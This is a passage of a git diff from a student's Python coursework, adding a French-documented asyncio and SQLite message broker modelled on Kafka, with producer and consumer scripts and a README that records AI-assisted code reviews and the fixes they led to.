"https://files.pythonhosted.org/packages/2d/86/ed7a73ab85ef00e8bb70b0cb5421d8a2a625b81a333941a469a6f4022828/yarl-1.23.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:041b1a4cefacf65840b4e295c6985f334ba83c30607441ae3cf206a0eed1a2e4", size = 95882, upload-time = "2026-03-01T22:07:32.132Z" }, + { url = "https://files.pythonhosted.org/packages/19/90/d56967f61a29d8498efb7afb651e0b2b422a1e9b47b0ab5f4e40a19b699b/yarl-1.23.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:d38c1e8231722c4ce40d7593f28d92b5fc72f3e9774fe73d7e800ec32299f63a", size = 90797, upload-time = "2026-03-01T22:07:34.404Z" }, + { url = "https://files.pythonhosted.org/packages/72/00/8b8f76909259f56647adb1011d7ed8b321bcf97e464515c65016a47ecdf0/yarl-1.23.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:d53834e23c015ee83a99377db6e5e37d8484f333edb03bd15b4bc312cc7254fb", size = 101023, upload-time = "2026-03-01T22:07:35.953Z" }, + { url = "https://files.pythonhosted.org/packages/ac/e2/cab11b126fb7d440281b7df8e9ddbe4851e70a4dde47a202b6642586b8d9/yarl-1.23.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2e27c8841126e017dd2a054a95771569e6070b9ee1b133366d8b31beb5018a41", size = 96227, upload-time = "2026-03-01T22:07:37.594Z" }, + { url = "https://files.pythonhosted.org/packages/c2/9b/2c893e16bfc50e6b2edf76c1a9eb6cb0c744346197e74c65e99ad8d634d0/yarl-1.23.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:76855800ac56f878847a09ce6dba727c93ca2d89c9e9d63002d26b916810b0a2", size = 100302, upload-time = "2026-03-01T22:07:39.334Z" }, + { url = "https://files.pythonhosted.org/packages/28/ec/5498c4e3a6d5f1003beb23405671c2eb9cdbf3067d1c80f15eeafe301010/yarl-1.23.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e09fd068c2e169a7070d83d3bde728a4d48de0549f975290be3c108c02e499b4", size = 98202, upload-time = "2026-03-01T22:07:41.717Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c3/cd737e2d45e70717907f83e146f6949f20cc23cd4bf7b2688727763aa458/yarl-1.23.0-cp314-cp314t-win32.whl", hash = "sha256:73309162a6a571d4cbd3b6a1dcc703c7311843ae0d1578df6f09be4e98df38d4", size = 90558, upload-time = "2026-03-01T22:07:43.433Z" }, + { url = "https://files.pythonhosted.org/packages/e1/19/3774d162f6732d1cfb0b47b4140a942a35ca82bb19b6db1f80e9e7bdc8f8/yarl-1.23.0-cp314-cp314t-win_amd64.whl", hash = "sha256:4503053d296bc6e4cbd1fad61cf3b6e33b939886c4f249ba7c78b602214fabe2", size = 97610, upload-time = "2026-03-01T22:07:45.773Z" }, + { url = "https://files.pythonhosted.org/packages/51/47/3fa2286c3cb162c71cdb34c4224d5745a1ceceb391b2bd9b19b668a8d724/yarl-1.23.0-cp314-cp314t-win_arm64.whl", hash = "sha256:44bb7bef4ea409384e3f8bc36c063d77ea1b8d4a5b2706956c0d6695f07dcc25", size = 86041, upload-time = "2026-03-01T22:07:49.026Z" }, + { url = "https://files.pythonhosted.org/packages/69/68/c8739671f5699c7dc470580a4f821ef37c32c4cb0b047ce223a7f115757f/yarl-1.23.0-py3-none-any.whl", hash = "sha256:a2df6afe50dea8ae15fa34c9f824a3ee958d785fd5d089063d960bae1daa0a3f", size = 48288, upload-time = "2026-03-01T22:07:51.388Z" }, +] diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/.python-version b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/BOICHE_Gauvain_eval_15_05_2026.zip b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/BOICHE_Gauvain_eval_15_05_2026.zip new file mode 100644 index 0000000..06068c5 Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/BOICHE_Gauvain_eval_15_05_2026.zip differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/README.md b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/README.md new file mode 100644 index 0000000..8009c1c --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/README.md @@ -0,0 +1,291 @@ +# Evalutation : BOICHE Gauvain - 15/05/2026 + +# Basique + +``` +uv init --python 3.12 +uv run .\main.py +.venv\Scripts\Activate +``` + +# Logique d'exercice + +## Prémices + +Niveau communication et persistence, naturellement je composerais avec une base de données de transit. Typiquement un service docker-compose avec un service dédié. PostgreSQL certainement, voire carrément REDIS si j'ai pas peur d'un reboot de REDIS et j'ai besoin d'une conso plus rapide qu'à Master Poulet (dédicace sans sympathie à Karim BOUAMRANE). + +Pour l'exercice, On va considérer SQLite3. Les transactions sont sécurisées par défaut, l'indexation plus rapide qu'avec un JSON persistent et les accès concurrents sont aussi par défaut. Et mieux : on va hasher les messages avec [`hashlib`](https://docs.python.org/3/library/hashlib.html#hashlib.sha256) pour chiffrer en `SHA-256` et rendre la lecture impossible par un tiers connecté sur la DB. Mais pour envoyer les messages au broker, on va passer par JSON quand même pour structurer tout ça. + +*On aurait pu prendre SHA-512 ou un autre mais pffffffffffffffffffffffffffffffffffffff* + +La structure des tables doit être comprise par toutes les couches du machin : + +- offset : la position / l'index +- topic : le sujet +- content : le message +- checksum : hash du message +- timestamp : bah... voilà quoi + +## Architecture de base + +*Toujours honnête : ce plan d'architecture a été fait avec l'IA, Gemini Pro en mode "Raisonnement" nominément. Je suis un bon technicien mais je n'ai aucune compétence de structuration d'un plan que je n'ai pas fait auparavant. Je suis comme une IA : je ne créé rien, je ne suis qu'entraîné. Et je ne pense pas que ça soit préjudiciable présentement.* + +``` +|___ utils.py # Gestion réseau, envoyer/recevoir, constantes +|___ broker.py # asyncio, serveur TCP en écoute continue, hache les messages reçus des producteurs, gère la persistance, diffuse aux consommateurs +|___ producer.py # asyncio, génère les messages dans la DB, envoie au broker +|___ consumer.py # envoie son offset au broker lors d'une connexion, attend les messages, stocke le dernier offset géré +|___ main.py # Pour gérer les tests (*sans pertinence métier/logicielle*) +|___ .offset # Persistance de consumer.py +|___ .env # Variables sans risque (adresse IP, port, etc) +``` + +## Logique métier + +1. Le broker initialise la BDD SQLite3 +2. Le producteur envoie `"type": "PRODUCE", "topic": "lanthanides", "content": "Erbium"` +3. Le broker l'insère dans la table `lanthanides` (en la créant si elle n'existe pas), récupère l'ID comme `offset`, confirme au producteur +4. Le consommateur demande `"type": "CONSUME", "topic": "lanthanides", "offset": 3"` +5. Le broker renvoie le résultat d'une requête `SELECT * FROM lanthanides WHERE id >= 3` + +## Revue de code IA + +On n'aborde pas assez un point : **tout code doit être revu**. Là on apprend, on est seul, des fois on code son truc tout seul, mais ce n'est pas une bonne méthode. En entreprise, tout morceau même infime est revu sur dans une "merge request" sur Git@@@ dans une branche dédiée avant d'être fusionné à la branche principale. **Personne, pas même le plus senior des seniors, n'est infaillable**. + +J'aurais pu embêter ma femme, mais elle n'aime pas nécessairement le Python (plutôt équipe JavaScript/TypeScript) alors j'ai utilisé un bon ami : Gemini Pro en mdoe "raisonnement". Ma boîte le paye, alors autant qu'il serve : + +### Prompt de demande de revue de code + +> Salut ! J'ai fait ce code Python pour faire un genre de "Kafka" en local. Peux-tu me faire une revue de code exhaustive ? Merci + +Avec en pièces jointes les fichiers *.py sauf main.py. + +### Réponse de Gemini Pro "Pro" + +> Salut ! C'est un projet super intéressant. Tu as déjà une base solide avec une communication asynchrone, une persistance via SQLite et même une vérification d'intégrité avec des hashs. C'est du propre. +> Cependant, pour que ton "Kafka local" passe de "projet sympa" à "système robuste", il y a quelques points techniques (dont un bug majeur) à corriger. Voici ma revue de code exhaustive. + +> #### 1. Erreurs Critiques (Bugs) +> ##### `producer.py` : La méthode fantôme +> Dans ton fichier `producer.py`, tu as défini la méthode send à l'intérieur de __init__. +> - Problème : En Python, cela en fait une fonction locale à l'initialisation. Elle n'est pas attachée à l'instance. Ton code actuel lèvera une `AttributeError: 'Producer' object has no attribute 'send'`. +> - Correction : Sors `send` du bloc __init__. + +> ##### `broker.py` : L'erreur usurpée +```python +else: + raise sqlite3.Error # Pourquoi ? +``` +> Lever une erreur sqlite3.Error quand une action réseau est inconnue est déroutant pour le débogage. Utilise plutôt une exception standard comme ValueError ou crée ta propre exception. + +> #### 2. Architecture & Performance +> ##### Le piège du blocage (Sync vs Async) +> C'est le point le plus important. asyncio repose sur une boucle d'événements unique. Si tu fais une opération "bloquante" (comme du SQL ou de l'écriture de fichier), tu arrêtes tout le serveur. +> - SQLite : La bibliothèque sqlite3 est synchrone. Si une requête prend du temps, ton broker ne répond plus à personne. +> - Solution : Utilise `aiosqlite` (version async de sqlite3) ou exécute tes appels SQL dans un thread séparé via asyncio.to_thread(). + +> ##### Gestion des connexions SQLite +> Dans `broker.py`, tu ouvres et fermes une connexion à la base de données à chaque message. +> - Problème : L'ouverture d'un fichier et l'initialisation de SQLite coûtent cher en ressources. +> - Optimisation : Ouvre une seule connexion dans le __init__ du Broker (ou un pool de connexions) et réutilise-la. + +> ##### I/O excessif dans le Consumer +```python +self.current_offset = offset + 1 +self._save_offset(self.current_offset) +``` +> Tu écris sur le disque pour chaque message reçu. Si tu reçois 1000 messages par seconde, ton disque va souffrir. +> - Optimisation : Enregistre l'offset de manière asynchrone toutes les X secondes ou tous les X messages. + +> #### 3. Amélioration du Protocole +> ##### Délimitation des messages +> Ton `utils.receive_json` utilise `readline()`. +> - Risque : Si par malheur le contenu (content) de ton message contient un caractère \n (retour à la ligne), json.loads plantera car il recevra un JSON incomplet. +> - Correction : Utilise un protocole "Length-Prefix" (envoyer la taille du message avant le message) ou assure-toi que json.dumps n'insère jamais de retours à la ligne (ce qui est le cas par défaut, mais attention aux réglages). + +> #### 4. Robustesse & Environnement +> ##### Chemins de fichiers (Paths) +> Dans env_var.py, tu utilises des chemins absolus comme /_db/. +> - Problème : À moins d'être sur Linux avec des droits root ou dans un conteneur Docker spécifique, ton script va planter (Permission denied). +> - Conseil : Utilise des chemins relatifs ou basés sur le dossier utilisateur : + +```python +DB_PATH = Path(__file__).parent / "data" / "kafkanien.db" +``` + +> ##### Gestion des erreurs réseau +> Si le broker redémarre, le Producer et le Consumer vont simplement planter avec une ConnectionRefusedError. +> - Conseil : Ajoute une logique de "Retry" (tentatives de reconnexion) avec un petit `asyncio.sleep()`. + +> #### Synthèse des modifications recommandées +> Voici à quoi devrait ressembler ton **Producer** corrigé : + +```python +class Producer: + def __init__(self, host, port): + self.host = host + self.port = port + + async def send(self, topic, content): # Sorti du __init__ + try: + reader, writer = await asyncio.open_connection(self.host, self.port) + # ... reste du code + except ConnectionError: + print("Le Broker est injoignable.") +``` + +> Et pour le **Broker**, pour éviter de bloquer la boucle : + +```python +import asyncio + +# Dans handle_produce +# Utilisation de run_in_executor ou asyncio.to_thread (Python 3.9+) +await asyncio.to_thread(self._sync_db_insert, topic, content, hash, timestamp) +``` + +> ##### Ce que j'ai beaucoup aimé : +> 1. La validation du Hash : Très "Kafka-esque", ça garantit que les données n'ont pas été corrompues pendant le transport. +> 2. L'offset manuel : La gestion de l'offset côté client est exactement le principe de Kafka. C'est ce qui permet de "rejouer" des messages. +> C'est un excellent début de système distribué ! Est-ce que tu prévois d'ajouter la gestion de plusieurs partitions ou de groupes de consommateurs ? + +### Conclusions + +J'ai implémenté les fixs. Le code était à peu près fonctionnel en soit (l'erreur d'identation je l'ai vue à temps, mais j'avais oublié de faire Ctrl+S sur le fichier corrigé avant de téléverser à Gemini pour revue). + +Maintenant je me rendais compte : + +- j'avais oublié le principe de "threading" +- je ne me suis pas posé la question sur l'asynchrone avec SQLite3, pour moi c'était évident qu'une DB gère ça nativement... enfin j'me comprends + +J'ai fait une mini-refacto de `broker.py` en rajoutant une fonction "_sync_save_to_db" en dehors de "handle_produce" qui est devenue un produit asynchrone sur du synchrone. + +Pour `consumer.py` ça a été plus facile : + +```python +# A l'origine + +44: local_hash = utils.compute_hash(content) +48: self._save_offset(self.current_offset) + +# Transformatioooooon + +44: local_hash = await asyncio.to_thread(utils.compute_hash, content) +48: await asyncio.to_thread(self._save_offset, self.current_offset) +``` + +## 2ème revue de code IA + +### Prompt de lancement + +> Voici les nouvelles versions. Refais une revue pour voir + +Avec en pièces jointes les fichiers *.py sauf main.py. + +### Réponse + +> C'est beaucoup mieux ! Tu as corrigé l'erreur structurelle du Producer et tu as bien intégré asyncio.to_thread pour les opérations lourdes. L'architecture commence à être vraiment propre. +> Cependant, il reste quelques "angles morts" techniques qui pourraient faire planter ton système en conditions réelles. Voici ma revue de code V2. + +> #### 1. Le Broker : Attention au blocage caché +> Tu as très bien géré le handle_produce avec to_thread. Par contre, tu as oublié le handle_consume. +> - Le problème : Dans handle_consume, tu appelles sqlite3.connect, cur.execute et cur.fetchall directement dans la fonction async. +> - L'impact : Si un utilisateur demande à consommer 10 000 messages d'un coup, la base de données va travailler pendant plusieurs millisecondes (ou secondes). Pendant ce temps, tout le Broker est gelé : personne d'autre ne peut produire ou consommer. +> - Correction : Crée une méthode _sync_fetch_messages et appelle-la avec asyncio.to_thread, exactement comme tu l'as fait pour l'insertion. + +> #### 2. Consumer : Le piège du chemin "Root" +> Dans consumer.py, tu as défini le chemin suivant : +> `self.offset_file = Path(f"/_offset/{topic}_offset")` +> - Le problème : En commençant par un /, tu indiques à Python d'aller chercher à la racine de ton disque dur. +> - L'impact : Sauf si tu lances ton script en mode Administrateur/Root et que tu as créé manuellement un dossier _offset à la racine de ton système, le code va planter avec une erreur PermissionError ou FileNotFoundError. +> - Correction : Utilise un chemin relatif ou lie-le à ton dossier de projet, comme dans ton env_var.py. + +> #### 3. Robustesse : La création des dossiers +> Ton code part du principe que les dossiers data/ et _offset/ existent déjà. +> - Amélioration : Ajoute une ligne pour créer ces dossiers s'ils n'existent pas. C'est plus "User Friendly". + +```python +# Dans Broker.__init__ +self.db_path.parent.mkdir(parents=True, exist_ok=True) + +# Dans Consumer.__init__ +self.offset_file.parent.mkdir(parents=True, exist_ok=True) +``` + +> #### 4. Logique Kafka : Le "Streaming" manquant +> C'est le point conceptuel le plus important. +> - Actuellement : Quand un Consumer se connecte, le Broker lit les messages en base, les envoie, puis la boucle for row in rows se termine. Le Broker retourne alors dans handle_client et attend une nouvelle instruction data = await utils.receive_json(reader). +> - Le problème : Si un Producer envoie un nouveau message juste après, le Consumer ne le recevra jamais car il attend que le Broker lui envoie quelque chose, et le Broker attend que le Consumer lui demande quelque chose. +> - La solution "Kafka" : Dans handle_consume, après avoir envoyé les messages existants, tu devrais laisser la connexion ouverte et entrer dans une boucle qui "écoute" les nouveaux messages arrivant dans la DB (ou utiliser un système d'abonnement en mémoire/Pub-Sub). + +> #### 5. Détails techniques (Peaufinage) +> ##### Performance de la DB +> Dans le Broker, tu ouvres et fermes une connexion SQLite à chaque opération. +> - Conseil : SQLite supporte très bien une connexion maintenue ouverte dans l'instance de la classe. Tu gagnerais beaucoup en performance en faisant self.con = sqlite3.connect(...) dans le __init__. + +> ##### Le "Magic Black" sys.argv +> Ton commentaire sur sys.argv[1] if len(sys.argv) > 1 else "default" m'a fait rire. Ce n'est pas de la magie noire, c'est juste une expression ternaire. C'est très Pythonique ! Elle évite que le script ne crashe si tu oublies de donner un nom de topic en ligne de commande. + +> #### Résumé des priorités : +> 1. Passer handle_consume en to_thread (Broker). +> 2. Changer le chemin /_offset/ en ./offsets/ (Consumer). +> 3. Ajouter mkdir pour ne pas avoir à créer les dossiers à la main. + +> C'est vraiment du bon boulot, la structure utils partagée est très propre. Est-ce que tu veux qu'on regarde comment implémenter le "Push" en temps réel pour que le Consumer reçoive les messages sans s'arrêter ? + +### Conclusions 2 + +Alors le commentaire qu'il mentionne sur "la magie noire" je l'ai gardé dans la version finale évidemment (là c'était Claude Haiku 4.5 par contre, je suis pauvre). + +Sinon, la partie majeure de cette seconde revue était de faire une nouvelle méthode basée sur "_sync_save_to_db", à savoir "_sync_fetch_messages". + +# Lancement + +Bon, les revues de code c'est bon, le code est corrigé/refactorisé, il ressemble à 70% à l'origine déjà, c'est pas trop mal. + +## Ordre de lancement : + +1. `uv run broker.py` +2. `uv run consumer.py ` +3. `uv run producer.py ` + +# Retombées + +- Bogue que visiblement Gemini n'a pas vu : mon code `message_content = " ".join(sys.argv[2:])` ne fonctionne que si le message fini par un espace... + +Je corrigerai plus tard, d'abord je m'assure que c'est bien fonctionnel, et pour cause : + +![Terminal](image.png) + +- Je remarque aussi un petit décalage avec l'offset. Pas grave, ça s'ajuste rapidos. Juste que je ne l'oublie pas... + +Ensuite je Ctrl+C sur le Consumer et je relance. J'enregistre un Lanthanide, puis deux Alcalins, re un Lanthanide, et après je redémarre en demandant un accès aux Alcalins pour voir la "file d'attente" : + +![File d'attente](image-1.png) + +Je ferme le Consumer avec Ctrl+C et je rouvre avec `uv run consumer.pr alcalins` et... + +![Rattrapage de l'offset en attente](image-2.png) + +Yoplàboum. + +Maintenant on tente avec trois Producers : + +![2 Consumers, 3 Producers](image-3.png) + +Et bah voilà. + +## L'espace en trop + +Impossible de trouver d'où ça vient. Cette fois je demande non pas une revue de code mais de l'aide explicite à Gemini et il me répond que tout vient de ceci : + +```python +async def send_json(writer, data): + message = f"{json.dumps(data)}\n" + writer.write(message.encode()) + await writer.drain() +``` + +Cet imbécile de code de moi attend explicitement un caractère d'échappe pour considérer un message comme complet. Meh ! Je dois refactoriser encore un peu. + +Mais maintenant ça semble bon. \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/broker.py b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/broker.py new file mode 100644 index 0000000..8f6b24e --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/broker.py @@ -0,0 +1,106 @@ +import asyncio, sqlite3 +import utils, env_var + +class Broker: + def __init__(self, db_path): + self.db_path = db_path + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self.con = sqlite3.connect(self.db_path, check_same_thread=False) + self._init_db() + + def _init_db(self): + cur = self.con.cursor() + + cur.execute(""" + CREATE TABLE IF NOT EXISTS messages( + offset INTEGER PRIMARY KEY AUTOINCREMENT, + topic TEXT, + content TEXT, + hash TEXT, + timestamp REAL + ) + """) + self.con.commit() + + async def handle_client(self, reader, writer): + try: + while True: + data = await utils.receive_json(reader) + if not data: + break + + action = data.get("action") + if action == "produce": + await self.handle_produce(writer, data) + elif action == "consume": + await self.handle_consume(writer, data) + finally: + writer.close() + await writer.wait_closed() + + def _sync_save_to_db(self, topic, content, hash, timestamp): + cur = self.con.cursor() + + cur.execute(""" + INSERT INTO messages(topic, content, hash, timestamp) + VALUES (?, ?, ?, ?) + """, (topic, content, hash, timestamp)) + + offset = cur.lastrowid - 1 # type: ignore + self.con.commit() + return offset + + def _sync_fetch_messages(self, topic, start_offset): + cur = self.con.cursor() + + cur.execute(""" + SELECT offset, content, hash + FROM messages + WHERE topic = ? AND offset >= ? + ORDER BY offset + """, (topic, start_offset)) + + return cur.fetchall() + + async def handle_produce(self, writer, data): + topic = data["topic"] + content = data["content"] + hash = utils.compute_hash(content) + timestamp = utils.get_timestamp() + + offset = await asyncio.to_thread( + self._sync_save_to_db, + topic, content, hash, timestamp + ) + + await utils.send_json(writer, {"status": "OK", "offset": offset}) + + async def handle_consume(self, writer, data): + topic = data["topic"] + start_offset = data.get("start_offset", 0) + + while True: + rows = await asyncio.to_thread(self._sync_fetch_messages, topic, start_offset) + + for row in rows: + message = { + "offset": row[0], + "content": row[1], + "hash": row[2], + } + await utils.send_json(writer, message) + start_offset = row[0] + 1 + + await asyncio.sleep(0.5) + + async def run(self, host, port): + server = await asyncio.start_server(self.handle_client, host, port) + async with server: + await server.serve_forever() + +if __name__ == "__main__": + broker = Broker(env_var.DB_PATH) + try: + asyncio.run(broker.run(env_var.HOST, env_var.PORT)) + except KeyboardInterrupt: + print(f"\nArrêt du Broker.") \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/consumer.py b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/consumer.py new file mode 100644 index 0000000..426fae9 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/consumer.py @@ -0,0 +1,64 @@ +import asyncio, os, sys +import utils, env_var + +from pathlib import Path + +class Consumer: + def __init__(self, topic, host, port): + self.topic = topic + self.host = host + self.port = port + self.offset_file = env_var.OFFSETS_DIR / f"{topic}_offset" + + self.offset_file.parent.mkdir(parents=True, exist_ok=True) + self.current_offset = self._load_offset() + + def _load_offset(self): + if self.offset_file.exists(): + return int(self.offset_file.read_text().strip()) + return 0 + + def _save_offset(self, offset): + self.offset_file.write_text(str(offset)) + + async def start(self): + try: + reader, writer = await asyncio.open_connection(self.host, self.port) + + subscribe_msg = { + "action": "consume", + "topic": self.topic, + "start_offset": self.current_offset + } + await utils.send_json(writer, subscribe_msg) + + while True: + message = await utils.receive_json(reader) + if not message: + break + + content = message["content"] + hash_message = message["hash"] + offset = message["offset"] + + local_hash = await asyncio.to_thread(utils.compute_hash, content) + if local_hash == hash_message: + print(f"[{offset}] {content}") + self.current_offset = offset + 1 + await asyncio.to_thread(self._save_offset, self.current_offset) + else: + print(f"[ALERTE] : Corruption détectée à {offset=}") + except ConnectionRefusedError: + print(f"[ERREUR] : Connexion impossible au Broker.") + finally: + if "writer" in locals(): + writer.close() + await writer.wait_closed() + +if __name__ == "__main__": + topic_name = sys.argv[1] if len(sys.argv) > 1 else "default" # J'ai eu de l'aide de l'IA sur celle-là pour déboguage. Niveau magie noire + consumer = Consumer(topic_name, env_var.HOST, env_var.PORT) + try: + asyncio.run(consumer.start()) + except KeyboardInterrupt: + print(f"\nDéconnexion du Consumer.") \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/data/kafkaien.db b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/data/kafkaien.db new file mode 100644 index 0000000..3fabf7b Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/data/kafkaien.db differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/env_var.py b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/env_var.py new file mode 100644 index 0000000..e16d62b --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/env_var.py @@ -0,0 +1,8 @@ +from pathlib import Path + +BASE_DIR = Path(__file__).parent +DB_PATH = BASE_DIR / "data" / "kafkaien.db" +OFFSETS_DIR = BASE_DIR / "offsets" + +HOST = "127.0.0.1" +PORT = 8888 \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/evaluation.pdf b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/evaluation.pdf new file mode 100644 index 0000000..637aec8 Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/evaluation.pdf differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-1.png b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-1.png new file mode 100644 index 0000000..2d19d5a Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-1.png differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-2.png b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-2.png new file mode 100644 index 0000000..0384c08 Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-2.png differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-3.png b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-3.png new file mode 100644 index 0000000..eaab067 Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image-3.png differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image.png b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image.png new file mode 100644 index 0000000..d219ed2 Binary files /dev/null and b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/image.png differ diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/main.py b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/main.py new file mode 100644 index 0000000..2268848 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from boiche-gauvain-eval-15-05-2026!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/actinides_offset b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/actinides_offset new file mode 100644 index 0000000..19c7bdb --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/actinides_offset @@ -0,0 +1 @@ +16 \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/alcalins_offset b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/alcalins_offset new file mode 100644 index 0000000..8e2afd3 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/alcalins_offset @@ -0,0 +1 @@ +17 \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/halogènes_offset b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/halogènes_offset new file mode 100644 index 0000000..25bf17f --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/halogènes_offset @@ -0,0 +1 @@ +18 \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/lanthanides_offset b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/lanthanides_offset new file mode 100644 index 0000000..3f10ffe --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/offsets/lanthanides_offset @@ -0,0 +1 @@ +15 \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/producer.py b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/producer.py new file mode 100644 index 0000000..3417bfa --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/producer.py @@ -0,0 +1,47 @@ +import asyncio, sys +import utils, env_var + +class Producer: + def __init__(self, host, port): + self.host = host + self.port = port + + async def send(self, topic, content): + writer = None + try: + reader, writer = await asyncio.open_connection(self.host, self.port) + + message = { + "action": "produce", + "topic": topic, + "content": content + } + + await utils.send_json(writer, message) + + response = await utils.receive_json(reader) + + if response and response.get("status") == "OK": + print(f"[SUCCES] Message enregistré à l'offset {response.get('offset') + 1}.") + else: + print("[ERREUR] Le Broker a renvoyé uyne réponse invalide.") + + except ConnectionError: + print("[ERREUR] Le Broker est injoignable.") + except Exception as error: + print(f"[ERREUR] Une erreur est survenue : {error}") + finally: + if writer: + writer.close() + await writer.wait_closed() + +if __name__ == "__main__": + if len(sys.argv) < 3: + print("Usage: python producer.py ") + sys.exit(1) + + topic_name = sys.argv[1] + message_content = " ".join(sys.argv[2:]) + + producer = Producer(env_var.HOST, env_var.PORT) + asyncio.run(producer.send(topic_name, message_content)) \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/pyproject.toml b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/pyproject.toml new file mode 100644 index 0000000..83238e4 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/pyproject.toml @@ -0,0 +1,7 @@ +[project] +name = "boiche-gauvain-eval-15-05-2026" +version = "0.1.0" +description = "C'est une évaluation pur Rachid J sur LiveCampus" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [] diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/utils.py b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/utils.py new file mode 100644 index 0000000..177efc0 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/utils.py @@ -0,0 +1,20 @@ +import json, hashlib, time +# https://docs.python.org/3/library/json.html +# https://docs.python.org/3/library/hashlib.html + +def compute_hash(content): + return hashlib.sha256(content.encode()).hexdigest() + +def get_timestamp(): + return time.time() + +async def send_json(writer, data): + message = f"{json.dumps(data)}\n" + writer.write(message.encode()) + await writer.drain() + +async def receive_json(reader): + data = await reader.readline() + if not data: + return None + return json.loads(data.decode()) \ No newline at end of file diff --git a/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/uv.lock b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/uv.lock new file mode 100644 index 0000000..535d6d6 --- /dev/null +++ b/Semaine_09/BOICHE_Gauvain_eval_15_05_2026/uv.lock @@ -0,0 +1,8 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "boiche-gauvain-eval-15-05-2026" +version = "0.1.0" +source = { virtual = "." } diff --git a/Semaine_09/Decorateurs/01_decorateurs_argparse_exos.pdf b/Semaine_09/Decorateurs/01_decorateurs_argparse_exos.pdf new file mode 100644 index 0000000..bd24fc4 Binary files /dev/null and b/Semaine_09/Decorateurs/01_decorateurs_argparse_exos.pdf differ diff --git a/Semaine_09/Decorateurs/README.md b/Semaine_09/Decorateurs/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_09/Decorateurs/authentication.py b/Semaine_09/Decorateurs/authentication.py new file mode 100644 index 0000000..8a68249 --- 